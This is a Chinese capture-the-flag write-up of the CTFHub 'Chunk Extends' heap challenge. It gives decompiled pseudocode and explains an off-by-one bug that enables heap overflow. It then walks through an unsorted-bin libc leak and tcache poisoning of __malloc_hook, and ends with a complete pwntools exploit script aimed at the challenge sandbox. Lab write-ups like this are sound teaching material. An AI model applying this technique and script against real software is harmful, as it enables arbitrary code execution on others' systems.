IDA静态分析
伪代码分析
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int choice[67]; // [rsp+Ch] [rbp-114h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu();
__isoc99_scanf("%d", choice);
switch ( choice )
{
case 1:
add();//存在逻辑错误导致的溢出覆盖
break;
case 2:
dele();
break;
case 3:
edit();//结合add函数的溢出可造成严重的堆溢出
break;
case 4:
show();//结合堆溢出可造成对当前mainArenaHeap的泄露
break;
case 5:
exit(0);
default:
exit(0);
}
}
}
add函数【逻辑错误】
unsigned __int64 add()
{
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
for ( i = 0; i <= 9 && chunkList[i]; ++i ) // 遍历查找可用索引【索引超出范围没有即时终止程序,当i=10时仍继续执行,存在逻辑错误】
;
puts("size:");
__isoc99_scanf("%d", &chunkList[i + 10]);
if ( chunkList[i + 10] > 1024 )
{
puts("error");
exit(0);
}
chunkList[i] = (__int64)malloc(chunkList[i + 10]);//当i=10时,chunk#0的size被覆盖为chunk#10的地址,将构成堆溢出
return v2 - __readfsqword(0x28u);
}
dele函数
unsigned __int64 dele()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("idx:");
__isoc99_scanf("%d", &index);
if ( index >= 0xA )
{
puts("error");
exit(0);
}
free((void *)chunkList[index]);
chunkList[index] = 0LL;
chunkList[(int)index + 10] = 0LL;
return v2 - __readfsqword(0x28u);
}
edit函数【堆溢出】
unsigned __int64 edit()
{
unsigned int index; // [rsp+0h] [rbp-10h] BYREF
int size; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("idx:");
__isoc99_scanf("%d", &index);
puts("size:");
__isoc99_scanf("%d", &size);
if ( index >= 0xA )
{
puts("error");
exit(0);
}
if ( size > chunkList[(int)index + 10] ) // 大小检测,若输入大小大于chunkList[i+10]的值则以chunkList中值作为size,chunk#0的size可被覆盖成heap地址,可造成堆溢出
size = chunkList[(int)index + 10];
puts("content:");
read(0, (void *)chunkList[index], size);
return v3 - __readfsqword(0x28u);
}
show函数【堆泄露】
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("idx:");
__isoc99_scanf("%d", &v1);
if ( v1 >= 0xA )
{
puts("error");
exit(1);
}
puts((const char *)chunkList[v1]); // 按字符串打印heap中内容,结合堆溢出可对当前mainArenaHeap任意读
return v2 - __readfsqword(0x28u);
}
分析总结
本程序在一个全局数组chunkList
中保存了每一个heap的地址和size,其中size将用于edit()
函数中的大小检查
chunkList[0-9]
分别用作保存地址,chunkList[10-19]
分别用作保存size
由于在add()
函数中存在逻辑错误,当i>9
时没有及时终止程序,导致攻击者可以申请第11个heap,并且将该heap的地址写在了chunkList[10]
,覆盖了chunk#0的size,导致在edit()
函数中可造成严重的堆溢出,并且结合堆溢出可利用show()
函数泄露堆中的内容
漏洞利用及原理
可利用漏洞
-
堆溢出 -
堆泄露
Unsorted Bin Leak & Tcache poisoning
利用流程
由于程序使用了TCache,我们需要构造一个更大的块使其进入UnsortedBin
来泄露Libc基址,根据分析可知,我们可以通过编辑Chunk#0
进行堆溢出篡改其它堆的任意内容,所以我们进行以下步骤操作
-
连续申请11个Chunk,其中 chunk#3
大小申请为0x60,其余为0x400 -
利用堆溢出篡改 chunk#1->size
为0x821
-
释放 chunk#1
使其进入UnsortedBin -
填充 chunk#0
至chunk#1->fd
-
通过 show(0)
泄露mainArena+offset
,offset的值可通过调试得知 -
恢复 chunk#1
的ChunkHeader
-
重新申请 chunk#1
,size为0x60
,从Unsorted Bin Chunk
中分割出来 -
按顺序释放 chunk#3 chunk#1
使其进入TCache
-
通过堆溢出篡改 freeChunk#1->fd
至__malloc_hook-0x13
-
重新申请 chunk#1 chunk#3
,此时chunk#3
已经指向FakeChunk -
编辑 chunk#3
篡改__malloc_hook
指向OneGadGet
注意事项
若是在本地调试时发现freeChunkT->fd
内容并不直接指向上一个freeChunkT
,第一个freeChunkT->fd
的值也不为0,那是因为在glibc2.31
后对TCache FreeChunk的fd做了混淆保护,提高了攻击者的攻击难度,使用patchELF
将程序的elf修改为glibc2.27
即可
至于该混淆保护,其将第一个freeChunkT
的地址>> 12
,除去了低位的3字节,并将其保存在fd
字段中将其作为key
,而后续每一个freeChunkT->fd ^= key
,也就是说若是存在此保护,我们还需要将key
泄露出来
Exploit
from pwn import *
prog = "./chunk_extend"
local = False
context(os='linux', arch='amd64', log_level='debug')
elf = ELF(prog)
libc = ELF("libc-2.27.so")
if local:
p = process(prog)
gdb.attach(p)
libc = ELF("/root/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
sleep(1)
else:
p = remote("challenge-9fd0886713838b6f.sandbox.ctfhub.com",35666)
def add(size):
p.sendlineafter("choice: n","1")
p.sendlineafter("size:n",str(size))
def dele(index):
p.sendlineafter("choice: n","2")
p.sendlineafter("idx:n",str(index))
def edit(index,content):
p.sendlineafter("choice: n","3")
p.sendlineafter("idx:n",str(index))
p.sendlineafter("size:n",str(len(content)))
p.sendafter("content:n",content)
def show(index):
p.sendlineafter("choice: n","4")
p.sendlineafter("idx:n",str(index))
for i in range(10):
if(i==3):
add(0x60)
else:
add(0x400)
add(0x400)
payload = b"x66"*0x400
payload += p64(0)
payload += p64(0x821)
edit(0,payload)#溢出篡改chunk#1 size以构造Unsoted Bin Chunk
#泄漏LIBC基址
dele(1)
payload = b"x66"*0x410
edit(0,payload)
show(0)
mainArena = u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))-96
mallocHook = mainArena-0x10
print("mainArena =============> {}".format(hex(mainArena)))
libcBase = mallocHook - libc.sym['__malloc_hook']
oneGadGetL = 0x4f322 + libcBase
oneGadGetR = 0x4f322 + libcBase
payload = b"x66"*0x400
payload += p64(0)
payload += p64(0x821)
edit(0,payload)#恢复chunk#1
add(0x60)
dele(3)
dele(1)
payload = b"x66"*0x400
payload += p64(0)
payload += p64(0x71)
payload += p64(mallocHook-0x13)
edit(0,payload)
add(0x60)#1
add(0x60)#3
payload = b"x66"*0x13
payload += p64(oneGadGetL)
edit(3,payload)
dele(5)
add(0x400)
p.interactive()
p.close()
原文始发于微信公众号(ACT Team):[Pwn]CTFHUB-Chunk Extends
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论